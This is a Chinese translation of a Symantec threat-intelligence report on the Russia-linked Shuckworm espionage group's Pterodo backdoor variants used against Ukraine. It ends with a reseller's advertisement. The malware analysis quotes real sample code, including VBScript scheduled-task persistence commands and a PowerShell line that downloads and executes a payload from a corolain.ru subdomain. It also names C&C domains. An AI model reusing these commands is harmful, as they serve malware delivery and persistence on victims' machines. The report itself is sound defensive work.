

Shuckworm(* 蚱蜢)： 間諜組織繼續針對烏克蘭發動激烈攻擊行動

2022 年 4 月 20 日發布 | 威脅情報



威脅獵手團隊
賽門鐵克

與俄羅斯有關聯的組織正在不斷精進其惡意軟體，並經常部署多個有效籌載，以期有更大機會可以長期潛伏在目標網路。

與俄羅斯有關聯的 Shuckworm 間諜組織（又名 Gameredon、Armageddon* 世界末日）正在繼續針對烏克蘭發動激烈攻擊行動。

2014 年首次出現之後，Shuckworm 幾乎完全專注於烏克蘭。自俄羅斯入侵該國以來，這些攻擊有增無減。雖然該組織的工具和戰術很簡單，有時也很粗糙，但其攻擊的頻率和持久性意味著它仍然是該地區組織面臨的主要網路威脅之一。

多重有效籌載

該組織最近活動的特徵之一是在目標電腦上部署多個惡意軟體有效籌載。這些有效籌載通常是同一惡意軟體 (Backdoor.Pterodo) 的不同變種，目的在執行類似任務。每個伺服器都將與不同的命令和控制 (C&C) 伺服器進行通信。

使用多個變種最可能原因是，它可能提供一種在受感染電腦上長期潛伏的基本方法。如果有效籌載或 C&C 伺服器被檢測到並阻止，攻擊者可以退而仰賴另一個有效籌載或 C&C 伺服器，並推出更多新變種以努力補救這些問題。

賽門鐵克的威脅獵手團隊是賽門鐵克 (賽門鐵克現為全球網通晶片巨擘博通--Broadcom 企業安全部門，美國股市代號：AVGO，全世界網際網路流量有 99.9% 都經過博通的晶片設備) 的重要部門，我們發現在最近的攻擊中使用 Pterodo 四種不同變種。它們都是具有類似功能 Visual Basic 腳本 (VBS) 惡意植入程式。他們將刪除 VBScript 檔、使用 Windows 排程工具 (schtasks.exe) 掩護長期潛伏並從 C&C 伺服器下載其他程式碼。所有嵌入式 VBScript 彼此非常相似，並使用類似的混淆技術。

Backdoor.Pterodo.B

此變種是一個經過修改的自我粹取檔案 (self-extracting)，其中包含可利用 7-Zip 來解壓縮經過混淆的 VBScript。

然後，它會將它們新增為排程任務，以確保讓駭客可常駐在環境裡：

- `CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """"UDPSync"""" /tr ""wscript.exe """" + hailJPT + """" & " jewels //b joking //e VBScript joyful "" /F ", "", "", 0`
- `CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """"SyncPlayer"""" /tr ""wscript.exe """" + enormouslyAKeIXNE + """" + " jewels //b joking //e VBScript joyful "" /F ", "", "", 0`

該腳本還會將自身複製到 [USERPROFILE]\ntusers.ini檔中。

新建立的兩個檔案是更模糊的VBScript。

- 第一個的目的在收集系統資訊，例如磁碟機代號:C的的序號，並將此資訊發送到C&C伺服器。
- 第二個透過將以前刪除的ntusers.ini檔複製到另一個desktop.ini檔來添加另一層持久性。

Backdoor.Pterodo.C

此變種目的也是將 VBScript 植入在受感染的電腦上。執行時，它將首先進行 API hammering 錘擊，進行多個無意義的 API 呼叫，這大概是為了避免沙箱檢測。然後，它將解壓縮一個腳本及一個名為 offspring.gif 到 C:\Users\[使用者名稱]\。它將使用以下命令呼叫腳本檔：

- `"wscript "[USERNAME]lubszfpsqcrblebyb.tbi" //e:VBScript /w /ylq /ib /bxk //b /pgs"`

此腳本執行 ipconfig /flushdns 並執行offspring.gif這支檔案。offspring.gif將從 corolain.ru 的隨機子網域下載PowerShell腳本並執行它：

- `cvjABuNZjtPirKYVchnpGVop = "$tmp = $(New-Object net.webclient).DownloadString('http://'+ [System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.corolain.ru') +'/get.php'); Invoke-Expression $tmp"`

Backdoor.Pterodo.D

這個變種是另一個 VBScript 植入程式。它將建立兩個檔案：

- [USERPROFILE]atwuzxsjiobk.ql
- [USERPROFILE]abide.wav

它使用以下命令執行它們：

- `wscript "[USERPROFILE]atwuzxsjiobk.ql" //e:VBScript /tfj /vy /g /cjr /rxia //b /pyvc`

與其他變種類似，第一個腳本將在呼叫第二個腳本並刪除原始可執行檔之前先執行 `ipconfig /flushdns`。

第二個腳本有兩層混淆，但最終它從 `declined.delivered.maizuko[.]ru` 網域下載最終的有效籌載並執行它。

Backdoor.Pterodo.E

最終的變種在功能上與變種 B 和 C 非常相似，在將兩個 VBScript 檔解壓縮到使用者的專屬 (Home) 目錄之前，會進行 API hammering 的延遲沙箱分析，從而避免惡意軟體偵測的伎倆。腳本混淆則與其他變種非常相似。

其他工具

雖然攻擊者在最近幾周大量使用 Pterodo，但其他工具也與它一起部署。其中包括 UltraVNC，一個開放原始碼的遠端管理／遠端桌面軟體公用程式。UltraVNC 以前曾被 Shuckworm 用於多次攻擊。

除此之外，還觀察到 Shuckworm 使用 Process Explorer，這是一個 Microsoft Sysinternals 工具，目的在提供有關程序載入哪些 DLLs 或開啟哪些 Handles (目錄、檔案、事件、機碼、執行緒……等) 資訊。

持續威脅

雖然 Shuckworm 不是戰術上最複雜的間諜組織，但它始終不懈地針對烏克蘭組織的專注和堅持中補足這一點。看來，Pterodo 正在被攻擊者不斷重新開發，才能持續領先檢測技術。

雖然 Shuckworm 似乎主要集中在情報收集上，但如果它獲得對烏克蘭組織的存取權限被移交給其他俄羅斯贊助的攻擊者，其攻擊也可能成為更嚴重入侵的前兆。

防護方案／緩解措施

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (IOCs)

由此點擊 [GitHub](#) 提供完整的入侵指標 (IOCs) 清單。

我們的威脅獵手團隊持續偵測與分析相關 IOC，並隨時保持 Symantec Endpoint 產品能偵測到並攔截最新的惡意 IOC。

原廠網址：<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine>
本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上 Symantec 原廠公告為準，請知悉。2022/04



關於作者

威脅獵手團隊

賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。



更多資訊 請造訪我們的網站 <http://www.SaveTime.com.tw>
(好記：幫您節省時間.的公司.在台灣)

關於保安資訊：

從協助顧客簡單使用賽門鐵克方案開始，到滿足顧客需求更超越顧客期望的價值。



- ◆ 保安資訊被業界公認為最專業的賽門鐵克解決方案的專家。
- ◆ 保安資訊的團隊自 1995 年起就專注於賽門鐵克資訊安全解決方案的銷售、規劃與整合、技術支援、教育訓練、顧問服務，特別是提供企業 IT 專業人員的技能傳承(Knowledge Transfer)的效益上，以及比原廠更快速的技術支援回應，深獲許多中大型企業與組織的青睞(特別是有 IT Team 的組織)，長期合作的意願與滿意度極高。
- ◆ 與許多系統整合或服務公司不同的是，我們不吝惜分享我們的專業技能與經驗給顧客的 IT Team，經由常態性的教育訓練、精簡的快速手冊、標準 SOP 文件的提供，以及基於比原廠更熟悉顧客的使用環境與現況的快速回應的品質，在業界建立扎實的口碑。
- ◆ 保安資訊一直專注於賽門鐵克領先業界的資訊系統基礎架構上的安全性與可用性的解決方案。進而累積了許多與基礎架構整合的成功經驗，讓導入 Symantec 解決方案的成效非常卓越。我們的顧客都能免除 Try & Error 的時間浪費及不確定的投入或自行摸索的運作風險。
- ◆ 關於我們：
保安資訊有限公司
<http://www.savetime.com.tw>
0800-381500、0936-285588